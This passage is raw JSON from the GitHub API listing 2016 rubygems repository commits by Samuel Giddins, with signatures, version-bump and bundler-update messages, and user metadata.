activate_bin_path\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4ca8eb56e5c083829ece8dd5ec54cf9e65ed1597","html_url":"https://github.com/rubygems/rubygems/commit/4ca8eb56e5c083829ece8dd5ec54cf9e65ed1597","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4ca8eb56e5c083829ece8dd5ec54cf9e65ed1597/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ccb9c3300c063f5b5656669972d24a10ef8afbf5","url":"https://api.github.com/repos/rubygems/rubygems/commits/ccb9c3300c063f5b5656669972d24a10ef8afbf5","html_url":"https://github.com/rubygems/rubygems/commit/ccb9c3300c063f5b5656669972d24a10ef8afbf5"}]},{"sha":"42bf6613a327e042afaffdc27b4742a9b255dfd0","node_id":"MDY6Q29tbWl0NjE0MDcwOjQyYmY2NjEzYTMyN2UwNDJhZmFmZmRjMjdiNDc0MmE5YjI1NWRmZDA=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-12T04:12:17Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-07-12T14:35:03Z"},"message":"Update vendored bundler to account for rack 2 release","tree":{"sha":"5afe1285fbadfc62f12ca0019b1df58fe34bd42a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5afe1285fbadfc62f12ca0019b1df58fe34bd42a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/42bf6613a327e042afaffdc27b4742a9b255dfd0","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXhQAXAAoJEAEZW7MV3ahWLCsP/2DEt2LujYAvrW/z7O5un8q7\nNu7iCFkZCrf+I4eXcouo0KvUgaBEeHE8QKQZLjXz8BheEVJUIED0xLYNceX8OHz7\nuNTiP6uD3oNjpFl2ISxqJ5VUdbfCSIA/42DOnhuVePFfPaCHIc9CqWnaKbrMmEFM\nOZpX4RyQLowuhrLz37rerf2N+/S0MWf7E5587/4KfbvW4Ov+Mo84jC4UsRr094+J\nQ3cez3CSrXmwx7uVzhgxTFoZFAyE/XePc51YkJ7zj0snQuKMGjNi9L1Lt5Ee4sZb\nHbtPhLZoPYQFJ4w1HQstTpFqgi/mkHgnkinUVwBzHmggHXU0ezQN1rmiALpztp06\nVUY6UJ70OiId3bcCWGQ9hVhsbMU+XgF75hbIw4dCvwUnB29FQ8fuim+UI6+HQvjm\nigorkfDUkZ2wYqvEkfKJxyn8ycJ+D88w3AhQwG0JsEXf2EFzZWK2XxbGmdVlMnFE\noZt5YqHJR6ILokcwcwRvoU981Ygir1cT5OJ3O+L3jyhKxW5n+ho+I5iUw9+W3ly5\n5ynnkUfk1YcG3d0RIXNYwY+OJinu+c1bTdjQdFH0Hhj4OF6NEAJQogt+yhUHHI7C\nhrLq2AJbCNWrJ3hSYS62GBSXikc3KVoeGr+0bgoOSOykv98XoXegGuV0dkhI71gj\nf+av69DSZx1nrB1AC7nJ\n=BXYq\n-----END PGP SIGNATURE-----","payload":"tree 5afe1285fbadfc62f12ca0019b1df58fe34bd42a\nparent ccb9c3300c063f5b5656669972d24a10ef8afbf5\nauthor Samuel Giddins 1468296737 -0400\ncommitter Samuel Giddins 1468334103 -0400\n\nUpdate vendored bundler to account for rack 2 release\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/42bf6613a327e042afaffdc27b4742a9b255dfd0","html_url":"https://github.com/rubygems/rubygems/commit/42bf6613a327e042afaffdc27b4742a9b255dfd0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/42bf6613a327e042afaffdc27b4742a9b255dfd0/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ccb9c3300c063f5b5656669972d24a10ef8afbf5","url":"https://api.github.com/repos/rubygems/rubygems/commits/ccb9c3300c063f5b5656669972d24a10ef8afbf5","html_url":"https://github.com/rubygems/rubygems/commit/ccb9c3300c063f5b5656669972d24a10ef8afbf5"}]},{"sha":"ccb9c3300c063f5b5656669972d24a10ef8afbf5","node_id":"MDY6Q29tbWl0NjE0MDcwOmNjYjljMzMwMGMwNjNmNWI1NjU2NjY5OTcyZDI0YTEwZWY4YWZiZjU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T18:52:16Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T18:52:16Z"},"message":"Version 2.6.6 with updated history","tree":{"sha":"21abe8fe9c6535709a65994f0eb4ec11692a9b17","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/21abe8fe9c6535709a65994f0eb4ec11692a9b17"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ccb9c3300c063f5b5656669972d24a10ef8afbf5","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXat5gAAoJEAEZW7MV3ahWSekP+wVCTU/2RAg1lma4uPQU0fSZ\nuk8cj2rwWDpGn2ppJORp8q4BmEqyDluXFCztcWp4yzdeU0hA/8/oPElU3bcYEx9l\nZSnurFLK6PU6X/1nKv2wJ0xVhwxWGryeQ/KrPkU6uS8PdEWB0NkA7vQ2dhHXHPie\nPOCMv5RRakk6ukML3uJCU0rQRvjWy/c0KxDjzAI9zybsDVTmO8h/xPMBlSLo+yDU\n+f1NfX6oi6fhsfxTv5JisH8kPRmjSJbPytD02LEsToqjWITWYovVmNKgdXfQvlQP\nUlVjiwVRW9Zvu7pkbmFa1JhYZLEceSUJUHDgk28+TaeOiBrb5Lh0SYtqzg3u2hHw\nm5ohn93CtK8Go9+nyjsX8QBN0p+6S2p0dp97xSersIzPFGNdZVEiQQ6J2SotDHV+\nGYEgCVkiXJnt2jL2oAwtsHMR+jKExeh5pmTit/ax/sBSEldouPkCCN1P4fjK7zmm\nElegwSVbMGQ082gJKANEsP/9dC8REmIqyx/7sfOfAvSbsnUJ8W8xY4xU+oZmcSKF\nbMCjRbG6+1/CUZSgZxMsj3XCrV1T7yjZmAiPFfDTRTNy74Vb4C2qrm7z+HcDlMrp\nGb8gPuP7kp/FaawTqshjvyUrqYogpaF8thHTTtOVUG5FmIOj23xNx353LcIIbfQA\nWZ4Vf4TPulNIjzWZbI4Y\n=Lutv\n-----END PGP SIGNATURE-----","payload":"tree 21abe8fe9c6535709a65994f0eb4ec11692a9b17\nparent b281f734f591b0dd5710ec06ebbfaa142a571631\nauthor Samuel Giddins 1466621536 -0500\ncommitter Samuel Giddins 1466621536 -0500\n\nVersion 2.6.6 with updated history\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ccb9c3300c063f5b5656669972d24a10ef8afbf5","html_url":"https://github.com/rubygems/rubygems/commit/ccb9c3300c063f5b5656669972d24a10ef8afbf5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ccb9c3300c063f5b5656669972d24a10ef8afbf5/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b281f734f591b0dd5710ec06ebbfaa142a571631","url":"https://api.github.com/repos/rubygems/rubygems/commits/b281f734f591b0dd5710ec06ebbfaa142a571631","html_url":"https://github.com/rubygems/rubygems/commit/b281f734f591b0dd5710ec06ebbfaa142a571631"}]},{"sha":"656f5d94dc888d78d0d00f3598a4fa37391aac80","node_id":"MDY6Q29tbWl0NjE0MDcwOjY1NmY1ZDk0ZGM4ODhkNzhkMGQwMGYzNTk4YTRmYTM3MzkxYWFjODA=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T04:22:23Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T04:34:05Z"},"message":"Version 2.6.5 with updated history","tree":{"sha":"5e05f81cc6ff75feb98a8ccb6dc41dba42a2a80f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/5e05f81cc6ff75feb98a8ccb6dc41dba42a2a80f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/656f5d94dc888d78d0d00f3598a4fa37391aac80","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXahU9AAoJEAEZW7MV3ahWW3QP/38m1JmFaA8o2ytYVFiJo1wK\n+N0ToH9XutuU6irKOTThXyKOWRln0pLufylHaCWcRsJuZls0uCNsrVpEqqbo+aC4\n0a3ULziHl72Jv83HwBJFBqSsL+MChX8eJTAK3XJPSRWYNWOIHvmiAHYKxwEklrdf\nLNwVR9un1JOj5nJe0pm+G3w5/tItS+LnZLXrwhsiLMVDW0EASSj5DUoGGduHRvq0\nkONvpD9JxDQhVSSuOP/rgBIFrrKUeoLywAfjJX1uiVYh/SYPvZYIcZMnbLLuxm5N\naWgV2XVvlTP9SthZ1PF1VXOjJuQnFUR83xEGEonrsPOfWWDJBAyQeXb2vRVklNhu\nZDoSLGtuKBRnNGpMF+JjQGakjHFmOGut/Hj/Kyn76lN7pajc7t/q12UtPEAIHvDa\nTdQ5YxSTuAEM0imEBIf1adcPDLlKl1vpW+t6oeTS86F2drDke+NUp8Mzean7CxwR\ncRI0fiM1O+Pui0wOxCKef4GWp+lu7jm4awBE1I1ujsGL2VeFUUHhn0TZpbOWe/0x\ncw1TGzz347XZ7Bj33HzEQVWh7UyX0a7om6Ozdlv7+wTOdaFCRKqhCT5TjarSvoLe\nr40z6QemrweLvyAwbAC9gIvdO6yI7avGnZelstxa/phvAhjNt6McIob7NedMF8fn\nooeAeYpdqO9JB4Is2678\n=uLMA\n-----END PGP SIGNATURE-----","payload":"tree 5e05f81cc6ff75feb98a8ccb6dc41dba42a2a80f\nparent 2f7eed9fedde0b910558b0cbf09825863678ab9b\nauthor Samuel Giddins 1466569343 -0500\ncommitter Samuel Giddins 1466570045 -0500\n\nVersion 2.6.5 with updated history\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/656f5d94dc888d78d0d00f3598a4fa37391aac80","html_url":"https://github.com/rubygems/rubygems/commit/656f5d94dc888d78d0d00f3598a4fa37391aac80","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/656f5d94dc888d78d0d00f3598a4fa37391aac80/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"2f7eed9fedde0b910558b0cbf09825863678ab9b","url":"https://api.github.com/repos/rubygems/rubygems/commits/2f7eed9fedde0b910558b0cbf09825863678ab9b","html_url":"https://github.com/rubygems/rubygems/commit/2f7eed9fedde0b910558b0cbf09825863678ab9b"}]},{"sha":"2f7eed9fedde0b910558b0cbf09825863678ab9b","node_id":"MDY6Q29tbWl0NjE0MDcwOjJmN2VlZDlmZWRkZTBiOTEwNTU4YjBjYmYwOTgyNTg2MzY3OGFiOWI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T04:33:29Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T04:34:05Z"},"message":"[Rakefile] Fix inferring rubygems-update gem version","tree":{"sha":"e9413278746c98a592a086391c11403c41c4d54f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e9413278746c98a592a086391c11403c41c4d54f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2f7eed9fedde0b910558b0cbf09825863678ab9b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXahU9AAoJEAEZW7MV3ahWScsP/RaC2pLWpN3gNTuaxMBcbDcI\nNEUPessznyn8b6+/yHW48VuDSMwopFI4AFokPhdhpcepLqaGC/EjU7oJW5w0/tsV\n9PAsG9UfjkDnHW4i1gU+Smo2gV5Qd05DdfoTLnUmd5VyDK+LEbSwHAQIaIk/JScb\nB4a9ZMBE2s414HTQaLoSPsLrLvNjteaYnnqDTtsd4cwGaK7/GUp/9IXAYRYV4FfG\nVhsiUQKsKp9SqTgspDNfJ+N/qtiB2vi+oJ/W2xNJSTLU5YxlAXWa8ibRWXlrjDUL\nxDmOE9AdnP+kYxmCCmducbIrKzflfn0Gg1enfKD33l3ljTrPRWzbQOv87SElBt5R\nWAwdw9jQaFhLYJt5pjdkx4m5M0bpUIak2EdYx8GbayFHXu1InjGowfjXfPNA3c6g\nf5+C/CPyVIXXZJLIzNSrRzIM4dGSP47F1eY/b5pwcyzxtruTt/xN1GkPaDvgl2KF\neLabbYIaw6Z5gZaDuXCwkbnpox5I1fWPvjdTjNjpRmAgknzMPZ7AvX46Der+rtQA\nNLwRyenMfMmwkD83KmXhz5faCpKezhiygl40QWhFqK7lHtusOwQ6GUeKmTrgAUux\nEvyuElDmdreUO1ydh+ZdxGwUQD1sz0O6eR6AOGlWvkYco5UAfyFGR8o6cWqFC5C6\nBy2jKtMRvAxrlNQ2CL0t\n=Wytn\n-----END PGP SIGNATURE-----","payload":"tree e9413278746c98a592a086391c11403c41c4d54f\nparent 6b883b1b478003a23d94a37772326630a466c30c\nauthor Samuel Giddins 1466570009 -0500\ncommitter Samuel Giddins 1466570045 -0500\n\n[Rakefile] Fix inferring rubygems-update gem version\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2f7eed9fedde0b910558b0cbf09825863678ab9b","html_url":"https://github.com/rubygems/rubygems/commit/2f7eed9fedde0b910558b0cbf09825863678ab9b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2f7eed9fedde0b910558b0cbf09825863678ab9b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6b883b1b478003a23d94a37772326630a466c30c","url":"https://api.github.com/repos/rubygems/rubygems/commits/6b883b1b478003a23d94a37772326630a466c30c","html_url":"https://github.com/rubygems/rubygems/commit/6b883b1b478003a23d94a37772326630a466c30c"}]},{"sha":"65b709b095b8354ac2620d1a5d7d537e539f6498","node_id":"MDY6Q29tbWl0NjE0MDcwOjY1YjcwOWIwOTViODM1NGFjMjYyMGQxYTVkN2Q1MzdlNTM5ZjY0OTg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T00:39:05Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-22T00:39:05Z"},"message":"Remove lib/gauntlet_rubygems.rb","tree":{"sha":"aabd126808fc4b13e74030cc58312b75c55cc0eb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/aabd126808fc4b13e74030cc58312b75c55cc0eb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/65b709b095b8354ac2620d1a5d7d537e539f6498","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXad4pAAoJEAEZW7MV3ahWGZgP/A2rdKedEGn6aeokkxBRZFP2\nuzZSRySkDennlVbODTmBrts5nLNxL/3liK5ahPthDcZJwfFIc691NFh8yBbfCTQ3\nrhv3DpXEtvY38nuFOxQweZ6uIBb8gDeKcsw5PVGgMp6IUAP1d48cX+MA+wiCVl2F\ncPZTmMI+OVtOeke7D5T8boG4oiXrIeIEyxEdOeGb/ksveycm/Jup42gFuyUTVkza\nZYAwvLytWxpMNXE1DhxspEIR4O0XDzON9tQzNa5JnG8zMF+j0fNKrbDyIoXTeHSk\nHzddyKtk3CSGTA2Vkyme5btw9tp/XPs9OEWD/gKgdD+9wpev8eXClhlRYiCeY+U1\n3eo8i7UcwwAi99vc5O9JL3hlPffh0I4PxDYIQoqmpownwKnQ+VKd0znUQ8793aQe\ns5/Bs8RNdoEON7dLr+JsMse6/xuaEU3O85C3sDfqyQDXBjQG9owvzUxROT5PdwDU\nZ5pPFxMTewGtH4Zy1XFNbiUOE5EfA2BBi3UcyYIx+oUAmquWlGsGNR1BeiuaduCS\nXR80+ODLDH+JRnR7h3buXKIAExGxz66ZlhuL4QOvEfHTN+e7WD/ZKFcxw0Hg3OSV\nNPeRWhRus+O03dmU2ZbszE5Xync5+O7bJlTJYuou8OXHDNzok/VAFRHLhfbR5sMy\nDxZFGcLPhoCux17HM70l\n=KDYB\n-----END PGP SIGNATURE-----","payload":"tree aabd126808fc4b13e74030cc58312b75c55cc0eb\nparent ed1bc5c27ba6ebcda6c6b37bd875b3a6a01df2bc\nauthor Samuel Giddins 1466555945 -0500\ncommitter Samuel Giddins 1466555945 -0500\n\nRemove lib/gauntlet_rubygems.rb\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/65b709b095b8354ac2620d1a5d7d537e539f6498","html_url":"https://github.com/rubygems/rubygems/commit/65b709b095b8354ac2620d1a5d7d537e539f6498","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/65b709b095b8354ac2620d1a5d7d537e539f6498/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ed1bc5c27ba6ebcda6c6b37bd875b3a6a01df2bc","url":"https://api.github.com/repos/rubygems/rubygems/commits/ed1bc5c27ba6ebcda6c6b37bd875b3a6a01df2bc","html_url":"https://github.com/rubygems/rubygems/commit/ed1bc5c27ba6ebcda6c6b37bd875b3a6a01df2bc"}]},{"sha":"1d2b634125642823f99b642c5ce1fda462b87b3d","node_id":"MDY6Q29tbWl0NjE0MDcwOjFkMmI2MzQxMjU2NDI4MjNmOTliNjQyYzVjZTFmZGE0NjJiODdiM2Q=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-21T15:08:41Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-06-21T15:08:41Z"},"message":"Update bundler submodule to an existing ref","tree":{"sha":"3b590d7b69162a8f3178192319110c708e2b0c9f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3b590d7b69162a8f3178192319110c708e2b0c9f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1d2b634125642823f99b642c5ce1fda462b87b3d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJXaVh5AAoJEAEZW7MV3ahWHI8P/ixziGQ0cQyuMmunYxMCuMuh\n871gjSQm+d9T4l0hIgNzNxZd9wrHeV2Njp+UCJ3hWjSb0Ukkv9vf0JC6nqsvsSom\n08x67w8yya2TwXRmxl6Xav+g3zvNmdzJ7Yq872CIPhdd9mvZr/P87SfDlFZXkOqZ\niTQDi7AKOx1Pv6kaomM7kk+CkiVqs66XiecVIfkz49xe4zNDnJDsJKlg927mGTjZ\nTwO6Z37GXLZUPNzSjq/8FlpP7TytYf7DxYSjesSvbpzppdlLVJ+TpLSKsSwdms56\nlZXMkFk7Dmsb8PpoiZFmeXcpj0JJARfX0wTY6HCpYWS0BM9MH5kPEw0/JHGGMMRX\nyUh7aFsCnJAucEc9qexnz3+9PTd6MChdmU3GGoQJyf5woGh4jN7BagpHK5+fFRv7\n4Q3s/F0bdhvH8PoaehWlLXGc/k5ODbDhQFExJAcbInhOL0HPV7AtKloV/QOc7DIi\nXcXbZPxJeyGd1ECBvMTlRMV+rAIeLKyKQI8coYZ79C86UPbJH30YDT8TOR/Mjtfk\nF/NpLD0yQb1bQsNBHgvoVsWskruzGpWh1SMT6RSNhsAgOSbHlg3iNlt7QveHufBR\n8CE1Nd11cbOr8ngIGBXPXR3Hp1cfhJlnV6vvvr5t+LXiKgzJYz3ETFukjqu2RdcX\nBK0P1830Tt2E2v+9fcvV\n=/E0f\n-----END PGP SIGNATURE-----","payload":"tree 3b590d7b69162a8f3178192319110c708e2b0c9f\nparent b6d9dff1b4b283b1b43365bd93b4fb0897ddef7f\nauthor Samuel Giddins 1466521721 -0500\ncommitter Samuel Giddins 1466521721 -0500\n\nUpdate bundler submodule to an existing ref\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1d2b634125642823f99b642c5ce1fda462b87b3d","html_url":"https://github.com/rubygems/rubygems/commit/1d2b634125642823f99b642c5ce1fda462b87b3d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1d2b634125642823f99b642c5ce1fda462b87b3d/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://ap